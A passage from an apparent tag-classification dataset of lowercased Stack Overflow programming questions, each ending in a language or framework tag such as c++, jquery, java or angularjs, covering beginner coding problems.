endl;     cin &gt;&gt; input;     if (input ==  yes  || input ==  yes )     //if they choose yes it will take 5hp     {         cout &lt;&lt;  you killed him! you lost 5 hp in the battle.\nthere was no reward because you shouldn t\nkill helpless people. :(  &lt;&lt; endl;         hp -= 5;         cout &lt;&lt;  name:   &lt;&lt; name &lt;&lt;     |     &lt;&lt;  age:   &lt;&lt; age &lt;&lt;     |     &lt;&lt;  sex:   &lt;&lt; sex &lt;&lt;     |     &lt;&lt;  race:   &lt;&lt; race &lt;&lt;     |     &lt;&lt;  hp:   &lt;&lt;hp &lt;&lt; endl;     }     //if they choose no it will do nothing     else if (input ==  no  || input ==  no )     {         cout &lt;&lt;  you decided otherwise. that was a very smart decision.  &lt;&lt; endl;         cout &lt;&lt;  name:   &lt;&lt; name &lt;&lt;     |     &lt;&lt;  age:   &lt;&lt; age &lt;&lt;     |     &lt;&lt;  sex:   &lt;&lt; sex &lt;&lt;     |     &lt;&lt;  race:   &lt;&lt; race &lt;&lt;     |     &lt;&lt;  hp:   &lt;&lt; hp &lt;&lt; endl;     }      //next question to the player     cout &lt;&lt;  \nyou come to a fork in the road. do you go right or do you go left    &lt;&lt; endl;     cin &gt;&gt; input;     if (input ==  right  || input ==  right )     //when they choose right this will happen     {         cout &lt;&lt;  \nyou find a health potion and gain 7 hp!  &lt;&lt; endl;         hp += 7;         cout &lt;&lt;  name:   &lt;&lt; name &lt;&lt;     |     &lt;&lt;  age:   &lt;&lt; age &lt;&lt;     |     &lt;&lt;  sex:   &lt;&lt; sex &lt;&lt;     |     &lt;&lt;  race:   &lt;&lt; race &lt;&lt;     |     &lt;&lt;  hp:   &lt;&lt; hp &lt;&lt; endl;     }     //if you choose the left path     else if (input ==  left  || input ==  left )     {         cout &lt;&lt;  \nyou fall into quicksand and barely make it out alive and then go to the path to the right. -10 hp.  &lt;&lt; endl;         hp -= 10;         cout &lt;&lt;  name:   &lt;&lt; name &lt;&lt;     |     &lt;&lt;  age:   &lt;&lt; age &lt;&lt;     |     &lt;&lt;  sex:   &lt;&lt; sex &lt;&lt;     |     &lt;&lt;  race:   &lt;&lt; race &lt;&lt;     |     &lt;&lt;  hp:   &lt;&lt; hp &lt;&lt; endl;     }       cout &lt;&lt;  \n\nend of game. for now... press &lt;enter&gt; to exit... ;     cin.get();     cin.get();      return 0; } </code></pre>,c++
why does this code not set document title dynamically   i am trying to dynamically update the document title from php script in regular intervals  it seems to not be working. i am a beginner to jquery  please help.   <pre><code> &lt;div id= code  style= border: 1px solid;  &gt;&lt;/div&gt;     &lt;script&gt;      var blink = true;      setinterval(function(){      if(blink){     jquery( #code ).load( test.php   function(result) {     var thetitle = document.getelementsbytagname( title )[0];             thetitle=  google +jquery( #code ).html();      });          //thetitle.text =document.getelementbyid( code ).value;         blink = false;     }else{       jquery( #code ).load( test.php   function(result) {     var thetitle = document.getelementsbytagname( title )[0];             thetitle=  yahoo +jquery( #code ).html();      });          blink = true;     }     }  2000); </code></pre>,jquery
angular ng-model-options gettersetter not working  i am trying to use ng-model-options gettersetter. but i can t get it to call my model function.   <pre><code>&lt;input id= idshowdisabled2  type= checkbox  ng-model= myobj.trev  ng-model-options= { gettersetter: true }  /&gt;show disabled feeds </code></pre>   it works if i just use a regular model: ng-model= showdisabled . i have left this line as well.   <pre><code>&lt;input id= idshowdisabled  type= checkbox  ng-model= showdisabled  /&gt;show disabled feeds </code></pre>   fiddle here: <a href= http://jsfiddle.net/grimrob/qc5qtg5q/26/  rel= nofollow >http://jsfiddle.net/grimrob/qc5qtg5q/26/</a>,angularjs
purpose of the obj directory  a simple question (hopefully).  what is the obj directory for in .net   i mean the directory that is generated besides the bin directory when a build occurs.,.net
select records with only two values from many  i have a table with two columns users and details. i need the records only where the user has details with only overdue and referral but not the user that has overdue  referral   lost and processing.   <pre><code>**users details** 1560  overdue 1560  overdue 1560  referral 1470  overdue 1470  referral 1470  lost 1470  processing 1480  referral 1480  lost 1480  processing 1356  referral 1356  overdue 1289  referral   output has to be: 1560 1356 1289 </code></pre>,sql
how to add request time out exception  how do i add request time out in  my code      below is my code which call http class  for acess server and get response but i want to add timeout exception      *<em>so if within 15 second server not response timeout request called what do i do  *</em>   <pre><code>  public class agapptransairtimetopup  extends activity   {       private string[][] xmlresponse;      public void oncreate(bundle savedinstancestate)   {                  xmlresponse =    agapphelpermethods.agappxmlparser( ag_it_app/agmainservlet source    = +agapphelpermethods.varm      obileno+ &amp;mobile= +agapphelpermethods.varmobileno+ &amp;   pin= +agapphelpermethods.getpin(txttatpinno.gettext().tostring())+ &amp;messagetype=ato&amp;   channel=internet);                  if(!agapphelpermethods.flag)                     {   toast.maketext(getapplicationcontext()   invalid input     toast.length_short).show();                 //       airtimeprogressdialog.dismiss();                     }                     else                     {                   intent j = new intent(agapptransairtimetopup.this            agapptransattpresponse.class);                                     mybean bean = new mybean();                  bean.set2darray(xmlresponse);                  bundle b = new bundle();                  b.putserializable( mybean   bean);                  j.putextra( obj   b);                  startactivity(j);         //            value=false;                     }        //               airtimeprogressdialog.dismiss();          }          }          catch  (exception e)         {     toast.maketext(agapptransairtimetopup.this   invalid input                 toast.length_short).show();                           }                public class agapphelpermethods           {     private static final string log_tag = null;    private static agapphelpermethods instance = null;    static boolean flag=null != null;                      public static string smsresponse[][] = new string[20][2];       string[][] xmlrespone = null;         public static agapphelpermethods getinstance()     {       if(instance == null)            {              instance = new agapphelpermethods();           }       return instance;    }      public static string geturl ()        {          string url =  https://xyzaaaaaa/ ;                     return url;             }    public static   string[][] agappxmlparser( string parurl)    {          flag = true;            string _node _element;     string[][] xmlrespone = null;     httpurlconnection urlconnection = null;            try          {                 string url = agapphelpermethods.geturl() + parurl;                 url finalurl = new url(url);                                 urlconnection = (httpurlconnection)                          finalurl.openconnection();                 urlconnection.setconnecttimeout(3000);                                 urlconnection.connect();                                 documentbuilderfactory dbf =                      documentbuilderfactory.newinstance();                 documentbuilder db = dbf.newdocumentbuilder();                 document doc = db.parse(finalurl.tostring());                         doc.getdocumentelement().normalize();                               nodelist list=doc.getelementsbytagname( * );                 _node=new string();                 _element = new string();                 xmlrespone = new                    string[list.getlength()][2];                                    //this  for  loop is used to parse through the                 //xml document and extract all elements and their                 //value  so they can be displayed on the device                  for (int i=0;i&lt;list.getlength();i++)                     {                         node value=list.item(i).                           getchildnodes().item(0);                         _node=list.item(i).getnodename();                         _element=value.getnodevalue();                         xmlrespone[i][0] = _node;                         xmlrespone[i][1] = _element;                             }//end for                                   urlconnection.disconnect();               }//end try            catch (exception e)            {              flag=false;              log.e(log_tag    host not responding   e);              messages.setmessage( error +e.getmessage());          }        return xmlrespone;            }  </code></pre>,android
how to select jquery elements containing a certain character string   say i have the following:   <pre><code>&lt;div id= hellokat &gt;&lt;/div&gt; &lt;div id= hellodog &gt;&lt;/div&gt; &lt;div id= byekat &gt;&lt;/div&gt; &lt;div id= byedog &gt;&lt;/div&gt; </code></pre>   i know i can select divs individually with $( #hellokat ) and $( hellodog )  but i want to select all divs containing  hello  at the beginning of their ids at the same time.,jquery
python error message: builtins.indexerror: string index out of range  i am creating a game where the program will read from a file that contains 5 multiple choice questions and the user can answer this questions and receive a score. however i am getting stuck as i get the same error message:   <pre><code>builtins.indexerror: string index out of range </code></pre>   here is my code so far:   <pre><code>def main():     playagain = true     while playagain:         infile = open( questions.txt    r )         condition = true         while condition:             for line in range(5):                 line = infile.readline()                 print(line)              anskey = infile.readline()             anskey = anskey[4]              status = true             while status:                 useranswer = str(input( enter your answer    ))                 useranswer = useranswer.upper()                  if useranswer ==  a  or useranswer ==  b  or useranswer \                     ==  c  or useranswer ==  d :                     status = false                     if useranswer == anskey:                         correct = correct + 1                         print( correct answer! )                     else:                         print( wrong answer! )                         correct = correct                 else:                     print( answer not valid! )   main() </code></pre>,python
how-to create a static java api   i saw someone writing a java log api like the code unerneath. the idea is that the client does not have to invoke logutil.getinstance() every time. but my feelings are this is not idiomatic java    <pre><code>public class logutil{ private static logutil instance; private object current;//some logger private static logutil getinstance(){     if(instance == null){         instance = new logutil();     }     return instance; }  private static void debug(string text){  }  public static logutil init(){     //dosomething with     // getinstance().current;     return getinstance(); }  public static logutil logsomething(string text){     //dosomething with     // getinstance().current;      return getinstance(); } public static logutil anothermethod(string text){     //dosomething with     // getinstance().current;      return getinstance(); } </code></pre>   }    what are the arguments against such a design (making every method static),java
search path for c code project  i have a third party curl project  inside there is a lib folder containing the source file  and also a include folder  inside include folder there is a curl folder which a bunch of .h files   <pre><code> /lib/***.c   and /lib/***.h files   /include/curl/curl.h </code></pre>   inside the sources files of the /lib there are many calls to   <pre><code> #include &lt;curl/curl.h&gt; </code></pre>   i copy the /lib and /curl folder into my new projects.  now when i compiled there s an error on   <pre><code>  lexical or preprocessor error on #include &lt;curl/curl.h&gt; </code></pre>   i added the header search path and user search path   <pre><code>   $(srcroot)/curl  </code></pre>   which points to /curl folder containing curl.h file. but the project still has compile issue on     and i don t want to change that to just  because there are too many occurrences. any ideas,c
true nil in select options  is there any way of including <code>nil</code> in the options for <code>select</code>  i tried the <code>include_blank</code> option as shown below:   <pre><code>&lt;%= select(:object  :method  {select_options}  {include_blank: t(:none)}}) %&gt; </code></pre>   however  that does literally what it s named  adds a blank string which is not the same as <code>nil</code>. i ve tried also adding a nil option to select like this:   <pre><code>&lt;%= select(:object :method  {t(:none) =&gt; nil  select_options} %&gt; </code></pre>   but that gives same result as above.    of course i can handle this case in the controller but it seems very clumsy  how can i get a simple <code>nil</code> value in the select options,ruby-on-rails
jquery .hide() listbox option issues in internet explorer  in a perfect world (firefox) i could just use the .toggle option and be done with it.  however  ie and chrome aren t able to access option elements.  by using .wrap(  )  i am able to successfully hide in all browsers.   <pre><code>$(document).ready(function () { $( #lstavailrates option ).wrap( &lt;span&gt; ).hide(); $( #btntoggle ).click(function () { $( #lstavailrates option ).unwrap( &lt;span&gt; ).show(); }); }); </code></pre>   ideally  i would like #btntoggle to be able to toggle show/hide.  however  i m having issues figuring out the correct flow.      mc,jquery
class function to take data from a file and construct from another class to save it in a vector c++  i am a first year in computer science learning c++. we have an assignment where we have to load data from a file  use a constructor and save this data in a vector. i have scoured our lecture notes and there is no examples of how to do this and i have googled it for hours now to find nothing.  maybe i am asking the wrong thing     i have left all the other classes and functions out for now as i have not worked on them yet.    here is the code that i managed so far:       <pre><code>#pragma once #include&lt;iostream&gt; #include&lt;string&gt; #include&lt;fstream&gt; #include&lt;vector&gt;  using namespace std;  class organisationrecord { private:  public:     string name;     string occupation;     string department; }; class payrollprocessing {  private:     ifstream inputfile;     ofstream outputfile;     vector&lt;organisationrecord&gt; organisationrecords; //vector it needs to be saved too     vector&lt;hrrecord&gt; hrrecords;     vector&lt;payrollrecord&gt; payrollrecords;  public:     void loadorganisationrecords(string filename); //function i am trying to write     void loadhrrecords(string filename);     void loadpayrollrecords(string filename);     void displayemployeeofsalarygte(double salary);     //gte = greater than or equal to }; void payrollprocessing::loadorganisationrecords(string name) {     inputfile.open( organisation.txt );      if (!inputfile.is_open())     {         cout &lt;&lt;  file not open error! ;     }     else     {         std::string line;         int i = 0;         while (!inputfile.eof())         {             organisationrecord orgrec;             //here is the code to              inputfile &gt;&gt; orgrec.name;              //to construct and then             inputfile &gt;&gt; orgrec.occupation;        //save to the vector             inputfile &gt;&gt; orgrec.department;        //we havent learned how to                                                    //how to print string              organisationrecords.push_back(orgrec); //vectors yet which makes             i++;                                   //it hard to test         }      }     inputfile.close();  } int main(void) {     string name;     payrollprocessing pp;     pp.loadorganisationrecords(name);      return 0; } </code></pre>   we also cant edit the libraries or the classes. all help with this is much appreciated!,c++
view.gettop() always returns 0  so <code>view.gettop()</code> is  as per the <a href= https://developer.android.com/reference/android/view/view.html#gettop()  rel= nofollow noreferrer >docs</a>:   <blockquote>    top position of this view relative to its parent.  </blockquote>   i have the following layout:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;scrollview xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      android:id= @+id/root      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      tools:context= com.example.scrollviewtest1.mainactivity &gt;      &lt;linearlayout         android:id= @+id/scroll_container          android:orientation= vertical          android:layout_width= match_parent          android:layout_height= wrap_content &gt;          &lt;com.example.scrollviewtest1.mytextview             android:id= @+id/text2              android:layout_width= wrap_content              android:layout_height= wrap_content              android:text= @string/large_text  /&gt;          &lt;textview             android:id= @+id/text1              android:layout_width= wrap_content              android:layout_height= wrap_content              android:text= hello world!  /&gt;      &lt;/linearlayout&gt;   &lt;/scrollview&gt; </code></pre>   i am checking for <code>gettop()</code> for <code>linearlayout</code> as i scroll up and down and <code>gettop()</code> always returns 0. shouldn t it change as <strong><em>it moves up and down relative to its parent </em></strong>.    <strong>how i checked it </strong>    i stored reference to the <code>linearlayout</code> inside the child <code>textview</code> and called <code>invalidate()</code> every time there was scrolling:   <pre><code>scrollview root = ((scrollview) findviewbyid(r.id.root));         root.getviewtreeobserver().addonscrollchangedlistener(new viewtreeobserver.onscrollchangedlistener() {             @override             public void onscrollchanged() {                 textview.invalidate();             }         }); </code></pre>   and checked inside the <code>ondraw()</code> call of the child <code>textview</code>,android
reading multiple string line using scanner object inside for loop <pre><code>import java.util.scanner;  import java.util.hashmap;  public class test { public static void main(string args[]){     scanner input= new scanner(system.in);     system.out.println( enter number of employee record do you want );     int n= input.nextint();      hashmap&lt;string string&gt; emprec= new hashmap&lt;&gt;();     system.out.println( enter your employee id and salary );     for(int i=0;i&lt;n;i++){          string[] s1=input.nextline().split( \\s+ );         system.out.println( print before taking input );     }  } } </code></pre>   i want to read for given n=3 input string but it is not allowing me to do. first print statement is getting executed before taking input using nextline()  is there any issue with code   but it is allowing me read one less than the required and letting me go to next line on first execution of for loop.,java
call function on close of ngdialog  i open an alert dialog with ok button. on click calls a function. i need to call the same function when i close the alert dialog   <pre><code>&lt;script type= text/ng-template  id= alerterrortemplate.html &gt;     &lt;div class= form-wrp &gt;         &lt;div class= form-item &gt;             &lt;h2 class= box-title error-text  ng-class= { box-left : leftalign} &gt;&lt;span data-ng-bind= web_error  ng-show= showtitletext &gt;error: &lt;/span&gt;{{alerttext}}&lt;/h2&gt;             &lt;h2 class= box-text error-text  ng-class= { box-left : leftalign}  ng-show= secondarytext !== null &gt;{{secondarytext}}&lt;/h2&gt;             &lt;div ng-show= alertitemlist &amp;&amp; alertitemlist.length &gt; 0  class= dialog-error-list error-text &gt;                 &lt;ul&gt;                     &lt;li ng-repeat= item in alertitemlist &gt;                         {{ item }}                     &lt;/li&gt;                 &lt;/ul&gt;             &lt;/div&gt;         &lt;/div&gt;         &lt;div class= form-item text-center &gt;             &lt;button ng-click= closengdialog()  class= btn btn-success btn-big  data-ng-bind= web_ok &gt;ok&lt;/button&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/script&gt; </code></pre>,angularjs
why does iequalitycomparer<t> require gethashcode   i m aware that variations on this question have been asked before  but i haven t yet found anything which addresses specifically what i m asking.    in .net  we have <code>iequalitycomparer&lt;t&gt;</code>  which has the following:   <pre><code>public interface iequalitycomparer&lt;t&gt; {     public bool equals(t x  t y);     public int gethashcode(t obj); } </code></pre>   so  my question is why this was not instead split into two interfaces  along the lines of:   <pre><code>public interface iequalitycomparer&lt;t&gt; {     public bool equals(t x  t y); }  public interface ihashprovider&lt;t&gt; : iequalitycomparer&lt;t&gt; {     public int gethashcode(t obj); } </code></pre>   in other words  i can see why in any situation where you will perform <code>gethashcode</code> on an object  you will almost certainly need to know how to perform <code>equals</code> too. also  the definition of <code>equals</code> is part of one of the requirement for implementing <code>gethashcode</code> correctly (if two objects are equal  their hash codes must be equal too).    however  this doesn t seem to be true the other way around. it s not that hard to imagine situations where you care about checking if two objects are equal by some custom implementation of <code>equals</code>  but are not performing any operations involving the hash code.    is there any reason the interface wasn t split out similar to the above  allowing methods to require an <code>ihashprovider&lt;t&gt;</code> (or whatever it would be called) or <code>iequalitycomparer&lt;t&gt;</code> depending on whether they would or would not be using the hash code  was it just a historical decision that would be too much hassle to change now  or is there some reason that i m overlooking that it s important to <em>always</em> implement <code>gethashcode</code> alongside <code>equals</code>,.net
stack and dynamic array implementation in java  i need to implement a stack array using a dynamic array which i had to create myself.    here s my dynamic array:   <pre><code>import java.util.arrays;  public class array { public int[] dynarray;  int counter = 0;    public void create(int n) {     dynarray = new int[n];  }   public void doublesize() {     int currentsize = dynarray.length;      int newsize = currentsize*2;      dynarray = arrays.copyof(dynarray  newsize);     }   private void halfsize() {     int currentsize = dynarray.length;      int newsize = currentsize/2;         dynarray = arrays.copyof(dynarray  newsize); }  public void add(int x) {     dynarray[counter] = x;      counter++;       float ratio = (float) counter / (float) dynarray.length;     if (ratio == 1) {         doublesize();      } }  public int rem() {     int last = dynarray[counter-1];      dynarray[counter-1] = 0;      counter--;        float ratio = (float) counter / (float) dynarray.length;     if (ratio &lt;= 0.25) {         halfsize();     }     return last; }  public int get(int i) {      if(!(check(i))) {         //system.out.print( cannot be added );         return i;     }     else return dynarray[i];  }   public void put(int x  int y) {      float ratio = (float) counter / (float) dynarray.length;     if (ratio ==1) {         doublesize();      }     if(!check(y)) {         system.out.println( no such index  nothing added to  +y);     } else {         dynarray[y] = x;      } }  public int len() {     return dynarray.length; }   public boolean check(int index) {     if(index &lt;0 || index &gt;=dynarray.length) {         return false;     } else {         return true;     } }  public static void main(string[] args) {     array dm = new array();     dm.create(5);     system.out.println( current array length  +dm.len());     dm.add(5);     dm.add(4);     dm.add(3);     dm.add(1);     dm.add(2);     system.out.println( current array length  +dm.len());     dm.rem();     dm.rem();     system.out.println( current array length  +dm.len());     dm.rem();     system.out.println( current array length  +dm.len());     dm.rem();     system.out.println( current array length  +dm.len());  }  } </code></pre>   here s my stack code:   <pre><code>public class stack { private static array a;  public void create() {     a = new array(); }   void push(int x) {     a.add(x); }   int pop() {     return a.rem(); }   boolean isempty() {     return a.len() == 0; }  public static void main(string[] args) {     stack stack = new stack();     stack.create();     stack.push(1);     /*int k = 1;     stack.push(2*k);     stack.push(2*k+1);     stack.push(2*k+2);      for (int i = 0; i&lt;40; i++) {         system.out.println(stack.pop());     }*/  } } </code></pre>   when i write <code>stack.push(1)</code> in <code>stack.java</code> main  it gives me a <code>nullpointerexception</code> on the line where it says <code>a.add(x)</code>. i don t understand why this exception occurs.,java
why is the code misbehaving with tabs  <pre><code>char[] array = { h   e   l   l   o   h   i   e     }; system.out.println(array+ \t +array.length);//fix this </code></pre>   it prints :    <pre><code>[c@15db9742     9 </code></pre>   but if i change the code to :   <pre><code>char[] array = { h   e   l   l   o   h   i   e     }; system.out.println(array);//fix this </code></pre>   it prints :    <pre><code>hellohie </code></pre>   why can t i put a tab and a number in concatenation  because the following code worked fine:   <pre><code>string array1 =  new string(array); system.out.println(array1+ \t +array1.length()); </code></pre>,java
validation in text boxes using datepicker  i have three textboxes  box1-filled by user1 box2-filled by user2 box3-filled by user3    i have also a default value for these three boxes. 1.now when box1 is selected user1 cannot input dates before the default date and it should not be allowed to select dates more than in box2(if not blank otherwise default date is considered). 2.user2 can enter dates in the range of box1 and box2. if these boxes are empty default will be considered. 3.user3 can enter date after the dates in box2.    pls can you suggest some solution as i am new to this technology. thnx in advance,jquery
child classes that share parent class member  i have an awkward question. i think it s impossible but i need to know for sure. it s a bit of an odd request  but i need my child classes to share the same pixels vector from the parent class.    basically  i want to create an instance of image class. that image class will hold pixels for both bitmap and png class so that if i need to convert from bitmap to png and vice-versa  they use the same vector rather than me creating both bitmap and png classes.   <pre><code>class image {     private:         std::vector&lt;rgb&gt; pixels; };    class bitmap : image {     public:         bitmap() : image() {}; };   class png : image {     public:         png() : image() {}; }; </code></pre>   such that when i do:   <pre><code>int main() {     image img();      img.getbitmappixels();  //this     img.getpngpixels();     //and this  return the same pixels vector.      bitmap foo = img.topng();     png moo = img.tobitmap();     //such that both foo and moo have the exact same underlying pixels vector. } </code></pre>   currently my classes look like:   <pre><code>class bitmap {     private:         std::vector&lt;rgb&gt; pixels;      public:         bitmap();         std::vector&lt;rgb&gt; getpixels() {return pixels;}         void setpixels(std::vector&lt;rgb&gt; pixels) {this-&gt;pixels = pixels;} };  class png {     private:         std::vector&lt;rgb&gt; pixels;      public:         png();         std::vector&lt;rgb&gt; getpixels() {return pixels;}         void setpixels(std::vector&lt;rgb&gt; pixels) {this-&gt;pixels = pixels;} }; </code></pre>   and to convert from one to the other  i have to do:   <pre><code>int main() {     bitmap bmp();     png png();      png.setpixels(bmp.getpixels);   //bmp has to copy png s pixels and vice-versa.. } </code></pre>   it s kind of a stupid question. i just don t want to copy pixels. i just want to be able to convert between the two classes without any copying as both classes hold an std::vector pixels member and the data is aligned the same.    i guess i m trying to be able to do: png.saveasbitmap(...); or bmp.saveaspng(...); without creating a new instance of the other.    how can i avoid copying/creating and making a new instance of the other class i m converting to  can i have classes that inherit from eachother,c++
xlform formrowdescriptorvaluehaschanged not working  i m using xlform and objective-c (not swift).    i can t trigger <code>formrowdescriptorvaluehaschanged:</code> no matter what my if else conditions are. i placed the code in my .m file. any reason why i can t get it to work      i copied the example code exactly and modified it according to my needs. however  no matter how i try  nothing is invoked. does it matter that i created the form in <code>viewdidload</code>  please advise.    thank you in advance to all you pros!    here s the example code:   <pre><code>-(void)formrowdescriptorvaluehaschanged:(xlformrowdescriptor *)rowdescriptor oldvalue:(id)oldvalue newvalue:(id)newvalue { [super formrowdescriptorvaluehaschanged:rowdescriptor oldvalue:oldvalue newvalue:newvalue];  if ([rowdescriptor.tag isequaltostring:@ alert ]){     if ([[rowdescriptor.value valuedata] isequaltonumber:@(0)] == no &amp;&amp; [[oldvalue valuedata] isequaltonumber:@(0)]){         xlformrowdescriptor * newrow = [rowdescriptor copy];         [newrow settag:@ secondalert ];         newrow.title = @ second alert ;         [self.form addformrow:newrow afterrow:rowdescriptor];     }     else if ([[oldvalue valuedata] isequaltonumber:@(0)] == no &amp;&amp; [[newvalue valuedata] isequaltonumber:@(0)]){         [self.form removeformrowwithtag:@ secondalert ];     } } } </code></pre>,ios
how to get the value of a class member in html   i m trying to get a value in-between div tags  i ve seen code that allows me to set the value of a textfield and use its value as a way of retrieving some information  but is there a fix to the way i m trying to do it    <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;          &lt;title&gt;...&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;      &lt;div class= number1 &gt;6&lt;/div&gt;      &lt;p id= demo &gt;&lt;/p&gt;      &lt;script&gt;          function print ()         {             var a = getelementbyclassname ( number1 ).value;              return a;         }          document.getelementbyid( demo ).innerhtml = now();     &lt;/script&gt; &lt;/body&gt; </code></pre>,html
fetch record from multi tables with fk constrains  i am trying to fetch data from multiple tables (3 levels). the scanario is that customer send request to the agent and agent handle it. for customer i have table customer   <pre><code>    -----------------------------------------     customerid | customername | fk_personid        1       |     abc      |     1        2       |     xyz      |     4     ------------------------------------------ </code></pre>   customer send request to the agent who would handle it   <pre><code>   ----------------------------------------     agnetid    | agentname    | fk_personid        6       |     asd      |     1        7       |     fgh      |     4     --------------------------------------- </code></pre>   both above tables are connected through their parent table person   <pre><code>   ------------------------------------------     personid   | personname   |  personemail         1       |     abc      |    as@m.com        2       |     xyz      |    vb@df.com     ----------------------------------------- </code></pre>   now there is another table name request like in which both forign keys are composite pk for request table   <pre><code>    ------------------------------------------     fk_custmid |   fk_agentid |  requestype         1       |       1      |    type one        2       |       2      |    type two     ----------------------------------------- </code></pre>   now the final thing is there are six different types of requests that are connected to request table(parent) throug fk. below is the one table for single type rest all are like the same. in the below table the above composite pk are fk s    <pre><code>   -----------------------------------------------------------     req_id  |  req_fk_custmid | req_fk_agentid |  requestype         1    |        1        |       1        |   type one        2    |        2        |       2        |   type two     ---------------------------------------------------------- </code></pre>   ahhhhhhh now keeping all these tables in mind i have to show details about a request generated customer i.e i need    <pre><code>  -------------------------------------------------    req_id | requestype |  customer_id | agent_id       1    |   type one |      1       |    1   ------------------------------------------------- </code></pre>   i hope you guys cod get my point and could help me in finding solution for it. i also tried it my self like    <pre><code>  select * from agent request person customer where request.customer_idcutomer = customer.idcustomer and request.agent_idagent = agent.idagent and person.idperson = customer.person_idperson and person.idperson = agent.person_idperson </code></pre>   another approach this is incomplete as because i didnt know how to complete it further. 1 in the end part of query is hard coded which shuld be be but i dont know how get is dynamicall   <pre><code>  select request.spoc_id  request.order_created  request.order_updated   from request   where agent_idagent = (    select agent.idagent   from agent   where agent.idagent =1 )    limit 0   30 </code></pre>   there are so many other approches i tried but every one didn t give me what i want i am basiclly stuck on a point to get the order/request type the customer has placed.     note: there are some fields that you will see in query but i didnt mention in my tables above just to save time and all the data i put is dummy and may not synchronized to each other.    note: if you suggest me to change the tables and theirs connections structure let me know and guid me if am doing wrong in it.,mysql
jquery selector for blank select elements   i want to highlight all selects with no selected values in my html. for what i can see for similar questions  my selector is right  however it doesn t work.    what is wrong with it    <pre><code>$( [value=  ] ).addclass( fill-field ); </code></pre>,jquery
application performance problem asp.net  i am facing a big speed problem with my application..we have to go for production but it got push backed becoz of this speed issue..    in my application..i have a page which is the main and important page of whole application.. in this page user spend most of the time... in this page i am using 6 to 7 javascript files and jquery plugins.. whole page is ajax based and will do the jquery validations... in this page i have 3 update panels (nested)..one update panel contains one formview and other will contain one grid and a 4 formviews(will make visible of user selection..4 of the won t come at time..depends on grid view item i will get visible..like grid view record is type one then type one formview will visible on the page)..one update panel is parent update panel.. each formview contains more than 10 controls..dropdowns will load on formview onload event from database loopup tables.. this page won t refresh at all..because ever thing is in update panels.. i can t set the view state to false because of update panels.. i have to make more than 5 database calls each time..    this page works fine at the beginning of application start..after some amount of time its getting slower and slower..the database calls are pretty fast at the beginning and getting very slow after some time... i don t know how to debug this thing and how to find which one causes this problem....please help me...    update: my view state is growing from 35 kb to 160 kb.. and i tried fullpost back triggers for some controls in updatepanels.. but the view state not getting down..its stays like that..on a double or triple browser refresh it got back to 35 kb..is this the issue   thanks for your replies and suggestions...,asp.net
how to take screen shot and that screen shot save in album  i am working on application of greeting cards in i have taken screen shot and save in gallery so give any suggestion and source code which apply in my code,objective-c
using options_from_collection_for_select  i am trying to use    <pre><code>options_from_collection_for_select(collection  value_method  text_method  selected = nil) </code></pre>   but i am unable to pass proper parameter to it. what should be type on <code>collection</code> element  (sample for complete usage will be helpful)    i have to use it with format like <code>name=al</code> and <code>id=23</code>  like it is state name and it code.    so for using how should i provide the collection object to it.    i have tried with <code>hash</code>  <code>map</code> and <code>array</code>,ruby-on-rails
can t get angularjs to initialize  sorry if this isn t a particulary enlightening question  but i am at a loss as to why i can t get angularjs to run on my page.    i ve stripped it down to the following jsfiddle: <a href= http://jsfiddle.net/inigo/cvwe5/1/  rel= nofollow >http://jsfiddle.net/inigo/cvwe5/1/</a>    here is my code:   <pre><code>    var app = angular.module( iwd-cms   [ ngroute ]);      app.config([ $routeprovider         function($routeprovider) {     $routeprovider.when( /   {             controller:  tourmanager            }).           otherwise({             redirectto:  /dashboard            });       }]);       app.controller( tourmanager   function($scope){         alert( hello world );            }); </code></pre>,angularjs
adding a condition to a where clause based on a passed variable value mysql  i am a relative novice and could use some help with this problem.    this will be used in a search filter situation. users need to search by a value and 1 or more other values passed by the search form.   <pre><code>$name = $_post[ name ]; $sdate = $_post[ sdate ]; $startdate = $_post[ startdate ]; $enddate = $_post[ enddate ]; $vehicle = $_post[ vehicle ]; $triptype = $_post[ triptype ];  </code></pre>   if any of these values are    i do not want them in the query  if they contain a value i do want them in the query.   <pre><code>select * from form_data where `resp_person` =  $name     if $sdate !=    then `sdate` =  $sdate     if $startdate !=    then `sdate` = *all values between $startdate and $enddate*    if $triptype !=    then `triptype` =  $vehicle     if $vehicle !=    then `vehicle` =  $vehicle   `sdate`   order by `sdate` desc  `stime` desc ) </code></pre>   i know the code is wrong but it should give you a good idea of what i am trying to accomplish. any guidance would be greatly appreciated.,mysql
php random color select  i am writing <code>randomcolorselect()</code> function  so that when the script is executed  prints the word <code>red</code> 10% of the time  the word <code>blue</code> 50% of the time and the word <code>green</code> 80% of the time: but not getting how to get this as i am new in php.,php
getting checkbox values in angularjs and passing them into another controller  i am transitioning from jquery to angularjs. i am trying to develop a small app in spa style. left side is the menu that controls the content on the right side. left side menu has its own controller. when the user selects a checkbox and clicks on  go   the checkbox value should be passed to the controller that controls the right side content. <a href= http://plnkr.co/edit/gz2r6akuqvlllkhdug4s  rel= nofollow >here</a> is the link to the app. below are the issues i have.    1)i am stumped on a simple problem of accessing checked values of a checkbox. how do i access values of checked checkboxes. the checboxes are on left side menu  and i am using ng-model to currently access the values as below    index.html   <pre><code>&lt;div id= searchone &gt;       &lt;ul&gt;         &lt;li ng-repeat= searchonecb in main.checkboxonedata &gt;           &lt;input type= checkbox  name= firstsearch  id= firstsearch_{{searchonecb.code}}  ng-model= main.selected[searchonecb.code]  /&gt; {{searchonecb.description}}         &lt;/li&gt;       &lt;/ul&gt;        &lt;button class= btn btn-primary  style= width:80px;margin-right: 10px  ng-click= main.submit() &gt;           go       &lt;/button&gt; &lt;/div&gt; </code></pre>   mainctrl.js to access the checkbox value.   <pre><code>main.submit = function() {         console.log(main.selected); } </code></pre>   the values are now in the form of an array as below   <pre><code>[bbbb: true  aaaa: true]. </code></pre>   is this the right way to access the values  what is the best way to retrieve only the checked checbox values     2) another question is  once i get the list of checked checkboxes values  how can i pass them to the contentctrl.js that controls the content on right side,angularjs
